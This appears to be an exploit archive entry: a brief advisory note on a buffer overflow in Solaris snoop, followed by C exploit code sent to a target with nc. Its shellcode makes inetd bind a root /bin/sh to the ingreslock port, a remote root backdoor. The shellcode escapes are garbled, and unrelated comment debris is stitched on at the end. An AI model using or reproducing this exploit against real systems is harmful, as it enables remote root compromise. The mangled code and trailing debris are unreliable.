source: http://www.securityfocus.com/bid/858/info
If a solaris machine is running snoop in verbose mode, it may be possible to compromise its security remotely by exploiting a buffer overflow in snoop. The problem is a buffer with a predefined length of 1024 that can be overflowed in the print_domain_name function. The priviliges granted to arbitrary code which could be executed would be those of the user running snoop, root.
/*
by: K2,
version .2
this is a funny Solaris.
remote Solaris 2.7 x86 snoop exploit
rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
run with ( ./snp ) | nc -u target_host_network 53
requires target host to be running "snoop"
verified with patch 108483-01
thx str/horizon for shellcodes. Hi plageuz
Hi mom.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"xEBx37x5Ex8Dx5Ex10x89x1Ex83xC3x08x89"
"x5Ex04x83xC3x03x89x5Ex08x83xEBx0Bx8D"
"x0Ex89xCAx33xC0x89x46x0Cx89x46xF5x89"
"x46xFAx88x46x17x88x46x1AxB0x3Bx52x51"
"x53x50x9Ax73x74x72x6Ex07x72xE8xC4xFF"
"xFFxFFx31x33x20x4Ax61x6Ex20x31x39x39"
"x38x2Dx2Dx73x74x72x2Fx62x69x6Ex2Fx73"
"x68x28x2Dx63x29 echo w00w00;echo "ingreslock"
"stream tcp nowait root /bin/sh sh -i" >>/tmp/w0;"
"/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
#define SIZE 2048
#define NOPDEF 349
#define DEFOFF 0
const char x86_nop=0x90;
long nop=NOPDEF,esp=0x804646c;
long offset=DEFOFF;
char buffer[SIZE];
int main (int argc, char *argv[]) {
int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}
fprintf(stderr,"0x%xn",esp+offset);
printf("%s", buffer);
return 0;
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666